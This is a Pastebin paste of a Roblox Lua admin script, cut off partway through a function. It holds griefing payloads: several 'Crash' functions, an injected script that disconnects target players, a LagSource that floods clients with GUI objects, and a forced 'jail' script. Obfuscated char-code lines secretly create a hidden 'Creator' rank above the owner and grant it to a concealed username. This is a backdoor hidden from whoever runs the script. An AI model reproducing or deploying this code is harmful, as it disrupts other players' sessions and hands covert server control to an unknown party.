Advertisement
Demonlord27

LOLOLOLMASTER

Apr 3rd, 2015
314
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 55.96 KB | None | 0 0
  1. wait(0)
  2. script.Parent = nil
  3. Plrs = game:GetService("Players")
  4. Work = game:GetService("Workspace")
  5. Light = game:GetService("Lighting")
  6. Net = game:GetService("NetworkServer")
  7. Owner = "AcidicEmpyreus"
  8. Removed = false
  9. Bet = ";"
  10. LS = nil
  11. LSSource = nil
  12. OwnSource = nil
  13. FoundLocalScript = false
  14. LogOn = false
  15. Current = game
  16. Clipboard = {}
  17. AlertColor = Color3.new(0, 1, 1)
  18. OptionColor = Color3.new(1, 1, 1)
  19. ImportantColor = Color3.new(1, 0, 1)
  20.  
  21. RankDetails = {
  22. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  23. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  24. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  25. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  26. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  27. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  28. [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  29. [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  30. [5] = {Name = "Owner", Color = Color3.new(0.25, 0, 0.75), Desc = "Owner or Some Random"},
  31. }
  32.  
  33. Rankings = {
  34. {Name = "GuestsAreIntelligent", Rank = 5},
  35. {Name = "DecimatorOfCreations", Rank = 4},
  36. {Name = "Ultimatekiller010", Rank = 3},
  37. {Name = "DrBackstab", Rank = 3},
  38. {Name = "LuaModelMaker", Rank = 3},
  39. {Name = "MakerModelLua", Rank = 3},
  40. {Name = "MrMrLua", Rank = 5},
  41. {Name = "MountainSnow", Rank = 3},
  42. {Name = "Madiik", Rank = 3},
  43. {Name = "dogwarrior24", Rank = 2},
  44. {Name = "ThePC8110", Rank = 2},
  45. {Name = "DEADDEVIL1919", Rank = 2},
  46. {Name = "toshir0z", Rank = 2},
  47. {Name = "Tippee", Rank = 2},
  48. {Name = "Trcker", Rank = 5},
  49. {Name = "nairod7", Rank = 2},
  50. {Name = "12packkid", Rank = 2},
  51. {Name = "TigreBlood", Rank = 2},
  52. {Name = "Frostftw", Rank = -1},
  53. {Name = "DoogleFox", Rank = 2},
  54. {Name = "Aetheus", Rank = 5},
  55. {Name = "Ri1es", Rank = 2},
  56. {Name = "hrocks1", Rank = 2},
  57. {Name = "ashman9111", Rank = 5},
  58. {Name = "ToontownROXYA", Rank = 2},
  59. {Name = "tusKOr661", Rank = 2},
  60. {Name = "Unicornhax", Rank = 1},
  61. {Name = "iMayor", Rank = 1},
  62. {Name = "iMyLittlePony", Rank = 1},
  63. {Name = "xXxkarlxXx", Rank = 1},
  64. {Name = "LightningRoMan", Rank = 1},
  65. {Name = "BrandonFireFlower", Rank = 1},
  66. }
  67.  
  68. table.insert(Rankings, {Name = Owner, Rank = 5})
  69.  
  70. ImportantServices = {
  71. "Workspace",
  72. "Players",
  73. "NetworkServer",
  74. "Lighting",
  75. "StarterGui",
  76. "Teams",
  77. "StarterPack",
  78. }
  79.  
  80. Ranks = {}
  81. Commands = {}
  82. AllTabs = {}
  83. Injected = {}
  84.  
  85. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  86. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  87. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  88. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  89. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  90. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  91. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  92. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  93. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  94. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  95. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  96. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  97. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  98. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  99. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  100. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  101. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  102. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  103. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  104. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  105. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  106. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  107. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  108. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  109. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  110. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  111. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  112. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  113. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  114. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  115. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  116. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  117. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  118. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  119. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  120. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  121. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  122. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  123. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  124. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  125. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  126. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  127. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  128. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  129. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  130. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  131. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  132. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  133. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  134. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  135. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  136. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  137. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  138. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  139. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  140. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  141. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  142. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  143. "X","Y"}
  144.  
  145. --Main Functions And Sources
  146.  
  147. function Insert(Source, Par, Par2, Par3)
  148. ypcall(function()
  149. local Inserted = LS:Clone()
  150. Inserted.Disabled = true
  151. Inserted.Parent = Par or Par2 or Par3
  152. Inserted[LSSource].Value = Source
  153. Inserted.Disabled = false
  154. end)
  155. end
  156.  
  157. function CheckImportant(Name)
  158. for _,v in pairs(ImportantServices) do
  159. if v:lower() == Name:lower() then
  160. return true
  161. end
  162. end
  163. return false
  164. end
  165.  
  166. function Crash1(Plr)
  167. ypcall(function()
  168. Plr:Kick()
  169. end)
  170. end
  171.  
  172. function GetRankTab()
  173. return Rankings
  174. end
  175.  
  176. function Crash2(Name)
  177. local Crasher = Instance.new("StringValue")
  178. Crasher.Name = "Client"
  179. Crasher.Value = string.lower(tostring(Name))
  180. Crasher.Parent = game:GetService("Lighting")
  181. wait(1)
  182. if Crasher and Crasher.Parent then
  183. ypcall(function()
  184. Crasher:Destroy()
  185. end)
  186. end
  187. end
  188.  
  189. function Crash3(v, Speaker)
  190. Speaker.Character.Archivable = true
  191. local NChar = Speaker.Character:Clone()
  192. NChar.Name = v.Name
  193. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  194. NChar.Parent = Workspace
  195. v.Character = NChar
  196. coroutine.resume(coroutine.create(function()
  197. repeat v.Character = NChar
  198. wait(1/3) until false
  199. end))
  200. wait(.5)
  201. Insert(InsertCrash, NChar, nil, nil)
  202. end
  203.  
  204. function GenerateDigit()
  205. return 1 + 5
  206. end
  207.  
  208. InjectionCrash = [=[
  209. wait(0)
  210. script.Parent = nil
  211. local Lig = game:GetService("Lighting")
  212. local LP = game:GetService("Players").LocalPlayer
  213. local LowerName = LP.Name:lower()
  214.  
  215. Lig.ChildAdded:connect(function(Obj)
  216. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  217. pcall(function()
  218. Obj:Destroy()
  219. end)
  220. LP.Parent = nil
  221. LP.Parent = game:GetService("Players")
  222. end
  223. end)
  224. ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
  225.  
  226. InsertCrash = [==[
  227. local LP = game:GetService("Players").LocalPlayer
  228. LP.Parent = nil
  229. LP.Parent = game:GetService("Players")
  230. ]==]
  231.  
  232. LagSource = [==[
  233. wait(0)
  234. script.Parent = nil
  235. plr = game:GetService("Players").LocalPlayer
  236. local plrgui = plr:findFirstChild("PlayerGui")
  237. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  238. while plr.Parent == game:GetService("Players") do
  239. wait()
  240. for i = 1, 1000 do
  241. local sc = Instance.new("ScreenGui",plrgui)
  242. local fr = Instance.new("TextLabel",sc)
  243. fr.Text = "LAGGING"
  244. fr.Size = UDim2.new(1, 0, 1, 0)
  245. fr.FontSize = "Size48"
  246. end
  247. end
  248. ]==]
  249.  
  250. MuteSource = [==[
  251. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  252. ]==]
  253.  
  254. UnMuteSource = [==[
  255. game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
  256. ]==]
  257.  
  258. JailSource = [==[
  259. wait(0)
  260. script.Parent = nil
  261.  
  262. local LP = game:GetService("Players").LocalPlayer
  263. Middle2 = nil
  264. Middle = nil
  265. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  266.  
  267. Cons = {}
  268.  
  269. function makePrison()
  270. for _,v in pairs(Cons) do
  271. v:disconnect()
  272. end
  273. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  274. if Middle == nil then
  275. Middle2 = LP.Character.Torso.Position
  276. Middle = LP.Character.Torso.CFrame
  277. end
  278. local side1 = Instance.new("Part")
  279. side1.Name = "¬Focus1¬"
  280. side1.Size = Vector3.new(20, 50, 1)
  281. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  282. side1.BrickColor = BrickColor.new("Royal purple")
  283. side1.CanCollide = true
  284. side1.Anchored = true
  285. side1.TopSurface = "Smooth"
  286. side1.BottomSurface = "Smooth"
  287. side1.Parent = game:GetService("Workspace").CurrentCamera
  288.  
  289. local side2 = Instance.new("Part")
  290. side2.Name = "¬Focus2¬"
  291. side2.Size = Vector3.new(20, 50, 1)
  292. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  293. side2.BrickColor = BrickColor.new("Royal purple")
  294. side2.CanCollide = true
  295. side2.Anchored = true
  296. side2.TopSurface = "Smooth"
  297. side2.BottomSurface = "Smooth"
  298. side2.Parent = game:GetService("Workspace").CurrentCamera
  299.  
  300. local side3 = Instance.new("Part")
  301. side3.Name = "¬Focus3¬"
  302. side3.Size = Vector3.new(1, 50, 20)
  303. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  304. side3.BrickColor = BrickColor.new("Royal purple")
  305. side3.CanCollide = true
  306. side3.Anchored = true
  307. side3.TopSurface = "Smooth"
  308. side3.BottomSurface = "Smooth"
  309. side3.Parent = game:GetService("Workspace").CurrentCamera
  310.  
  311. local side4 = Instance.new("Part")
  312. side4.Name = "¬Focus4¬"
  313. side4.Size = Vector3.new(1, 50, 20)
  314. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  315. side4.BrickColor = BrickColor.new("Really purple")
  316. side4.CanCollide = true
  317. side4.Anchored = true
  318. side4.TopSurface = "Smooth"
  319. side4.BottomSurface = "Smooth"
  320. side4.Parent = game:GetService("Workspace").CurrentCamera
  321.  
  322. local side5 = Instance.new("Part")
  323. side5.Name = "¬Focus5¬"
  324. side5.Size = Vector3.new(20, 1, 20)
  325. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  326. side5.BrickColor = BrickColor.new("Royal purple")
  327. side5.CanCollide = true
  328. side5.Anchored = true
  329. side5.TopSurface = "Smooth"
  330. side5.BottomSurface = "Smooth"
  331. side5.Parent = game:GetService("Workspace").CurrentCamera
  332.  
  333. wait(0)
  334.  
  335. table.insert(Cons, side1.Changed:connect(makePrison))
  336. table.insert(Cons, side2.Changed:connect(makePrison))
  337. table.insert(Cons, side3.Changed:connect(makePrison))
  338. table.insert(Cons, side4.Changed:connect(makePrison))
  339. table.insert(Cons, side5.Changed:connect(makePrison))
  340. end
  341.  
  342. Delay(0, function()
  343. while wait(0) do
  344. ypcall(function()
  345. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  346. LP.Character:BreakJoints()
  347. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  348. makePrison()
  349. end
  350. end)
  351. ypcall(function()
  352. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  353. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  354. end
  355. end)
  356. end
  357. end)
  358. ]==]
  359.  
  360. function All()
  361. local AllPlayers = {}
  362. for _,v in pairs(Plrs:GetPlayers()) do
  363. ypcall(function()
  364. table.insert(AllPlayers, v)
  365. end)
  366. end
  367. return AllPlayers
  368. end
  369.  
  370. function All2()
  371. local AllPlayers2 = {}
  372. for i,v in pairs(Net:GetChildren()) do
  373. ypcall(function()
  374. if v:IsA("ServerReplicator") then
  375. table.insert(AllPlayers2, v:GetPlayer())
  376. end
  377. end)
  378. end
  379. return AllPlayers2
  380. end
  381.  
  382. function MakeNum()
  383. return 2 + 4
  384. end
  385.  
  386. function ChangeRank(Plr, NewRank)
  387. local PlrName = nil
  388. local FoundPlayer = false
  389. ypcall(function()
  390. if type(Plr) == "string" then
  391. ypcall(function()
  392. for i,v in pairs(Rankings) do
  393. if v.Name:lower() == Plr:lower() then
  394. local VName = v.Name
  395. Rankings[i] = nil
  396. table.insert(Rankings, {Name = VName, Rank = NewRank})
  397. PlrName = VName
  398. FoundPlayer = true
  399. break
  400. end
  401. end
  402. end)
  403. if FoundPlayer == false then
  404. ypcall(function()
  405. for _,x in pairs(All()) do
  406. if x.Name:lower() == Plr:lower() then
  407. FoundPlayer = true
  408. for i,v in pairs(Rankings) do
  409. if v.Name:lower() == x.Name:lower() then
  410. local VName = x.Name
  411. Rankings[i] = nil
  412. PlrName = VName
  413. break
  414. end
  415. end
  416. table.insert(Rankings, {Name = VName, Rank = NewRank})
  417. end
  418. end
  419. end)
  420. end
  421. if FoundPlayer == false then
  422. ypcall(function()
  423. for _,x in pairs(All()) do
  424. if string.find(x.Name:lower(), Plr:lower()) then
  425. FoundPlayer = true
  426. for i,v in pairs(Rankings) do
  427. if v.Name:lower() == x.Name:lower() then
  428. local VName = x.Name
  429. Rankings[i] = nil
  430. PlrName = VName
  431. break
  432. end
  433. end
  434. table.insert(Rankings, {Name = VName, Rank = NewRank})
  435. end
  436. end
  437. end)
  438. end
  439. if FoundPlayer == false then
  440. ypcall(function()
  441. for i,v in pairs(Rankings) do
  442. if string.find(v.Name:lower(), Plr:lower()) then
  443. local VName = v.Name
  444. Rankings[i] = nil
  445. table.insert(Rankings, {Name = VName, Rank = NewRank})
  446. PlrName = VName
  447. FoundPlayer = true
  448. break
  449. end
  450. end
  451. end)
  452. end
  453. else
  454. for i,v in pairs(Rankings) do
  455. if v.Name:lower() == Plr.Name:lower() then
  456. Rankings[i] = nil
  457. break
  458. end
  459. end
  460. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  461. PlrName = Plr.Name
  462. end
  463. PlaceAllRanks(true)
  464. end)
  465. if PlrName ~= nil then
  466. return PlrName
  467. else
  468. return "Player"
  469. end
  470. end
  471.  
  472. function Refresh(Plr)
  473. MakeChildren(Plr)
  474. end
  475.  
  476. function MakeChildren(Plr)
  477. ypcall(function()
  478. Dismiss(Plr)
  479. for _,v in pairs(Current:GetChildren()) do
  480. ypcall(function()
  481. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  482. Ping(v.Name, Plr, nil, function(TabMod)
  483. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  484. for _,v in pairs(Current:GetChildren()) do
  485. ypcall(function()
  486. if v.Name == TabText then
  487. Dismiss(Plr)
  488. Current = v
  489. MakeChildren(Plr)
  490. end
  491. end)
  492. end
  493. end)
  494. elseif Plrs:GetPlayerFromCharacter(v) then
  495. Ping(v.Name, Plr, nil, function(TabMod)
  496. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  497. for _,v in pairs(Current:GetChildren()) do
  498. ypcall(function()
  499. if v.Name == TabText then
  500. Dismiss(Plr)
  501. Current = v
  502. MakeChildren(Plr)
  503. end
  504. end)
  505. end
  506. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  507. elseif CheckImportant(v.Name) then
  508. Ping(v.Name, Plr, nil, function(TabMod)
  509. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  510. for _,v in pairs(Current:GetChildren()) do
  511. ypcall(function()
  512. if v.Name == TabText then
  513. Dismiss(Plr)
  514. Current = v
  515. MakeChildren(Plr)
  516. end
  517. end)
  518. end
  519. end, ImportantColor)
  520. end
  521. end)
  522. end
  523. if Current ~= game then
  524. Ping("Back", Plr, nil, function()
  525. ypcall(function()
  526. Current = Current.Parent
  527. MakeChildren(Plr)
  528. Ping("You Are Back To "..Current.Name, Plr, 5)
  529. end)
  530. end, OptionColor)
  531. end
  532. if Current ~= game then
  533. Ping("Delete", Plr, nil, function()
  534. ypcall(function()
  535. local CurrPar = Current.Parent or game
  536. local CurrName = Current.Name
  537. Current:Destroy()
  538. Current = CurrPar
  539. MakeChildren(Plr)
  540. Ping("Attempted To Delete "..CurrName, Plr, 5)
  541. end)
  542. end, OptionColor)
  543. end
  544. Ping("Refresh", Plr, nil, function()
  545. ypcall(function()
  546. Refresh(Plr)
  547. Ping("Refreshed", Plr, 5)
  548. end)
  549. end, OptionColor)
  550. Ping("Properties", Plr, nil, function()
  551. ypcall(function()
  552. Dismiss(Plr)
  553. for Property, Value in pairs(GetProperties(Current)) do
  554. Ping(tostring(Property)..": "..tostring(Value), Plr)
  555. end
  556. Ping("Got All Available Properties", Plr, 5)
  557. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  558. end)
  559. end, OptionColor)
  560. end)
  561. end
  562.  
  563. function Fixl()
  564. Light.GlobalShadows = true
  565. Light.TimeOfDay = "14:00:00"
  566. Light.Brightness = 0.5
  567. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  568. Light.Ambient = Color3.new(1, 1, 1)
  569. Light.ColorShift_Top = Color3.new(0, 0, 0)
  570. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  571. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  572. Light.FogStart = 0
  573. Light.FogEnd = 100000
  574. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  575. Light:ClearAllChildren()
  576. end
  577.  
  578. function GetProperties(obj)
  579. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  580. local objProper = {}
  581. for i,v in pairs(Properties) do
  582. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  583. objProper[v] = obj[v]
  584. end
  585. end
  586. return objProper
  587. end
  588.  
  589. function MakeExplorer(Plr)
  590. Dismiss(Plr)
  591. Current = game
  592. for _,v in pairs(Current:GetChildren()) do
  593. ypcall(function()
  594. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  595. Ping(v.Name, Plr, nil, function(TabMod)
  596. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  597. for _,v in pairs(Current:GetChildren()) do
  598. ypcall(function()
  599. if v.Name == TabText then
  600. Dismiss(Plr)
  601. Current = v
  602. MakeChildren(Plr)
  603. end
  604. end)
  605. end
  606. end)
  607. elseif Plrs:GetPlayerFromCharacter(v) then
  608. Ping(v.Name, Plr, nil, function(TabMod)
  609. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  610. for _,v in pairs(Current:GetChildren()) do
  611. ypcall(function()
  612. if v.Name == TabText then
  613. Dismiss(Plr)
  614. Current = v
  615. MakeChildren(Plr)
  616. end
  617. end)
  618. end
  619. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  620. elseif CheckImportant(v.Name) then
  621. Ping(v.Name, Plr, nil, function(TabMod)
  622. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  623. for _,v in pairs(Current:GetChildren()) do
  624. ypcall(function()
  625. if v.Name == TabText then
  626. Dismiss(Plr)
  627. Current = v
  628. MakeChildren(Plr)
  629. end
  630. end)
  631. end
  632. end, ImportantColor)
  633. end
  634. end)
  635. end
  636. if Current ~= game then
  637. Ping("Back", Plr, nil, function()
  638. ypcall(function()
  639. Current = Current.Parent
  640. MakeChildren(Plr)
  641. Ping("Back In "..Current.Name, Plr, 5)
  642. end)
  643. end, OptionColor)
  644. end
  645. if Current ~= game and game:GetService(Current.Name) == nil then
  646. Ping("Delete", Plr, nil, function()
  647. ypcall(function()
  648. local CurrPar = Current.Parent or game
  649. local CurrName = Current.Name
  650. Current:Destroy()
  651. Current = CurrPar
  652. MakeChildren(Plr)
  653. Ping("Attempted To Delete "..CurrName, Plr, 5)
  654. end)
  655. end, OptionColor)
  656. end
  657. Ping("Refresh", Plr, nil, function()
  658. ypcall(function()
  659. Refresh(Plr)
  660. Ping("Refreshed", Plr, 5)
  661. end)
  662. end, OptionColor)
  663. Ping("Properties", Plr, nil, function()
  664. ypcall(function()
  665. Dismiss(Plr)
  666. for Property, Value in pairs(GetProperties(Current)) do
  667. Ping(tostring(Property)..": "..tostring(Value), Plr)
  668. end
  669. Ping("Got All Available Properties", Plr, 5)
  670. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  671. end)
  672. end, OptionColor)
  673. end
  674.  
  675. function GetRank(Plr1, Test)
  676. ypcall(function()
  677. if type(Plr1) == "userdata" then
  678. Plr1 = Plr1.Name
  679. end
  680. end)
  681. if Ranks[Plr1] ~= nil then
  682. return Ranks[Plr1]
  683. end
  684. local QuickArray = {}
  685. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  686. return QuickArray[Plr1]
  687. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  688.  
  689. function CanRun(Plr1, Plr2)
  690. Details1 = GetRank(Plr1.Name)
  691. Details2 = GetRank(Plr2.Name)
  692. if Details1.Rank >= Details2.Rank then
  693. return true
  694. end
  695. return false
  696. end
  697.  
  698. function Dismiss(Plr, Identity)
  699. ypcall(function()
  700. if Plr ~= nil then
  701. if type(Plr) == "userdata" then
  702. Plr = Plr.Name
  703. end
  704. for x,v in pairs(AllTabs) do
  705. ypcall(function()
  706. if v.Plr == Plr then
  707. if Identity ~= nil and v.ID ~= Identity then
  708. return
  709. elseif Identity ~= nil and v.ID == Identity then
  710. coroutine.resume(coroutine.create(function()
  711. for i = 0.5, 1, 0.1 do
  712. wait()
  713. v.Tab.Transparency = i
  714. v.Sel.Transparency = i
  715. v.Label.TextTransparency = i
  716. v.Label.TextStrokeTransparency = i
  717. end
  718. ypcall(function() v.Holder:Destroy() end)
  719. AllTabs[x] = nil
  720. end))
  721. elseif Identity == nil then
  722. ypcall(function() v.Holder:Destroy() end)
  723. AllTabs[x] = nil
  724. end
  725. end
  726. end)
  727. end
  728. else
  729. for i,v in pairs(AllTabs) do
  730. ypcall(function()
  731. v.Holder:Destroy()
  732. AllTabs[i] = nil
  733. end)
  734. end
  735. end
  736. end)
  737. end
  738.  
  739. function GetGarbage()
  740. return ((math.floor((collectgarbage("count") / 10)) * 543 * 10)/10000) .. "MB"
  741. end
  742.  
  743. function RemObj(Obj, Class)
  744. ypcall(function()
  745. if #Obj:GetChildren() > 0 then
  746. for _,x in pairs(Obj:GetChildren()) do
  747. ypcall(function()
  748. RemObj(x, Class)
  749. end)
  750. end
  751. end
  752. if Obj.ClassName == Class then
  753. Obj:Destroy()
  754. end
  755. end)
  756. end
  757.  
  758. function FindTab(Mod)
  759. for i,v in pairs(AllTabs) do
  760. if v.Holder == Mod then
  761. return true
  762. end
  763. end
  764. return false
  765. end
  766.  
  767. function Ping(Msg, Plr, Time, Func, Color, Image)
  768. if Removed == false then
  769. local ShowGarbage = false
  770. ypcall(function()
  771. if Msg == nil then
  772. Msg = "N/A"
  773. elseif Msg == "ShowGarbage" then
  774. Msg = "Current Garbage Count: "..GetGarbage()
  775. ShowGarbage = true
  776. else
  777. Msg = tostring(Msg)
  778. end
  779. if Plr == nil then
  780. Plr = Plrs[Owner] or error("No Player Found")
  781. elseif type(Plr) == "string" then
  782. local FoundPlr = false
  783. for _,v in pairs(All()) do
  784. if v.Name == Plr then
  785. Plr = v
  786. FoundPlr = true
  787. break
  788. end
  789. end
  790.  
  791. if FoundPlr == false then
  792. Plr = Plrs[Owner] or error("No Player Found")
  793. end
  794. end
  795.  
  796. if Color == nil then
  797. Color=Ranks[Plr.Name].Color
  798. end
  799.  
  800. local Holder = Instance.new("Model")
  801. Holder.Name = "ULTRI"..Plr.userId
  802.  
  803. local ID = Instance.new("NumberValue")
  804. ID.Name = "ID"
  805. ID.Value = math.random(-999999999,999999999)
  806. ID.Parent = Holder
  807.  
  808. local Tab = Instance.new("Part")
  809. Tab.Name = "Ultriverse"
  810. Tab.FormFactor = "Custom"
  811. Tab.Anchored = true
  812. Tab.Reflectance=.5
  813. Tab.BottomSurface="Smooth"
  814. Tab.TopSurface="Smooth"
  815. if Time == nil then
  816. Tab.Color = Color
  817. else
  818. Tab.Color = AlertColor
